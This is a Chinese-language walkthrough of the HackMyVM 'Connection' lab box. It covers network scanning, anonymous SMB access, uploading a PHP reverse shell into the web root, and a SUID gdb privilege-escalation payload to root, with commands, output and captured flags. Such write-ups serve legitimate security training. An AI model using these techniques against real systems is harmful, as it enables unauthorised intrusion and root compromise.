目录
信息收集
arp
nmap
WEB
web信息收集
dirsearch
smbclient
put shell
提权
系统信息收集
suid gdb提权
信息收集
arp
┌─[root@parrot]─[~/HackMyVM]
└──╼ #arp-scan -l
Interface: enp0s3, type: EN10MB, MAC: 08:00:27:16:3d:f8, IPv4: 192.168.9.115
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.9.116 08:00:27:6e:05:4c PCS Systemtechnik GmbH4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.048 seconds (125.00 hosts/sec). 4 respondednmap
端口扫描┌─[root@parrot]─[~/HackMyVM]
└──╼ #nmap -p- 192.168.9.116 --min-rate 10000 -oA ports
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-16 08:30 GMT
Nmap scan report for 192.168.9.116
Host is up (0.00019s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 08:00:27:6E:05:4C (Oracle VirtualBox virtual NIC)Nmap done: 1 IP address (1 host up) scanned in 2.34 seconds服务版本扫描┌─[root@parrot]─[~/HackMyVM]
└──╼ #nmap -sC -sV -O -p 22,80,139,445 192.168.9.116 --min-rate 10000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-16 08:31 GMT
Nmap scan report for 192.168.9.116
Host is up (0.00076s latency).PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 b7:e6:01:b5:f9:06:a1:ea:40:04:29:44:f4:df:22:a1 (RSA)
| 256 fb:16:94:df:93:89:c7:56:85:84:22:9e:a0:be:7c:95 (ECDSA)
|_ 256 45:2e:fb:87:04:eb:d1:8b:92:6f:6a:ea:5a:a2:a1:1c (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.38 (Debian)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
MAC Address: 08:00:27:6E:05:4C (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: Host: CONNECTION; OS: Linux; CPE: cpe:/o:linux:linux_kernelHost script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
|_clock-skew: mean: 1h19m59s, deviation: 2h18m33s, median: 0s
| smb2-time:
| date: 2024-04-16T08:31:13
|_ start_date: N/A
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.9.5-Debian)
| Computer name: connection
| NetBIOS computer name: CONNECTION\x00
| Domain name: \x00
| FQDN: connection
|_ System time: 2024-04-16T04:31:13-04:00
|_nbstat: NetBIOS name: CONNECTION, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.06 secondsWEB
web信息收集
dirsearch
┌─[root@parrot]─[~/HackMyVM]
└──╼ #dirsearch -u http://192.168.9.116/ -x 403,404_|. _ _ _ _ _ _|_ v0.4.3(_||| _) (/_(_|| (_| )Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460Output File: /root/HackMyVM/reports/http_192.168.9.116/__24-04-16_08-35-12.txtTarget: http://192.168.9.116/[08:35:12] Starting: Task Completed
smbclient
┌─[root@parrot]─[~/HackMyVM]
└──╼ #smbclient -L 192.168.9.116//
Password for [WORKGROUP\root]:
Anonymous login successfulSharename Type Comment--------- ---- -------share Disk print$ Disk Printer DriversIPC$ IPC IPC Service (Private Share for uploading files)
Reconnecting with SMB1 for workgroup listing.
Anonymous login successfulServer Comment--------- -------Workgroup Master--------- -------WORKGROUP CONNECTION
┌─[root@parrot]─[~/HackMyVM]
└──╼ #smbclient \\\\192.168.9.116\\share
Password for [WORKGROUP\root]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> dir. D 0 Wed Sep 23 01:48:39 2020.. D 0 Wed Sep 23 01:48:39 2020html D 0 Wed Sep 23 02:20:00 20207158264 blocks of size 1024. 5460488 blocks available
smb: \> cd html
smb: \html\> ls. D 0 Wed Sep 23 02:20:00 2020.. D 0 Wed Sep 23 01:48:39 2020index.html N 10701 Wed Sep 23 01:48:45 20207158264 blocks of size 1024. 5460488 blocks available
smb: \html\> get index.html
getting file \html\index.html of size 10701 as index.html (2612.5 KiloBytes/sec) (average 2612.5 KiloBytes/sec)
smb: \html\> 这里应该是网站的根目录，我们下载html文件查看一下！
发现就是源文件！
put shell
我们尝试在此上传一个php反弹shell的木马！
smb: \html\> put shell.php
putting file shell.php as \html\shell.php (360.9 kb/s) (average 360.9 kb/s)
smb: \html\> ls. D 0 Tue Apr 16 09:26:37 2024.. D 0 Wed Sep 23 01:48:39 2020index.html N 10701 Wed Sep 23 01:48:45 2020shell.php A 2587 Tue Apr 16 09:26:37 20247158264 blocks of size 1024. 5460480 blocks available
smb: \html\>
提权
系统信息收集
获取稳定的交互shellpython3 -c 'import pty;pty.spawn("/bin/bash")'export TERM=xterm
www-data@connection:/home/connection$ ls
ls
local.txt
www-data@connection:/home/connection$ cat local.txt
cat local.txt
3f491443a2a6aa82bc86a3cda8c39617
www-data@connection:/home/connection$ 得到user.txt
www-data@connection:/home/connection$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/newgrp
/usr/bin/umount
/usr/bin/su
/usr/bin/passwd
/usr/bin/gdb
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/mount
/usr/bin/gpass
这里 gdb 被设置了为suid权限！
suid gdb提权
payload:gdb -nx -ex 'python import os; os.execl("/bin/bash", "sh", "-p")' -ex quitwww-data@connection:/$ gdb -nx -ex 'python import os; os.execl("/bin/bash", "sh", "-p")' -ex quit
gdb -nx -ex 'python import os; os.execl("/bin/bash", "sh", "-p")' -ex quit
GNU gdb (Debian 8.2.1-2+b3) 8.2.1
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
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Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:<http://www.gnu.org/software/gdb/documentation/>.For help, type "help".
Type "apropos word" to search for commands related to "word".
sh-5.0# id
id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
sh-5.0# cd /root
cd /root
sh-5.0# ls
ls
proof.txt
sh-5.0# cat proof.txt
cat proof.txt
a7c6ea4931ab86fb54c5400204474a39
sh-5.0# 
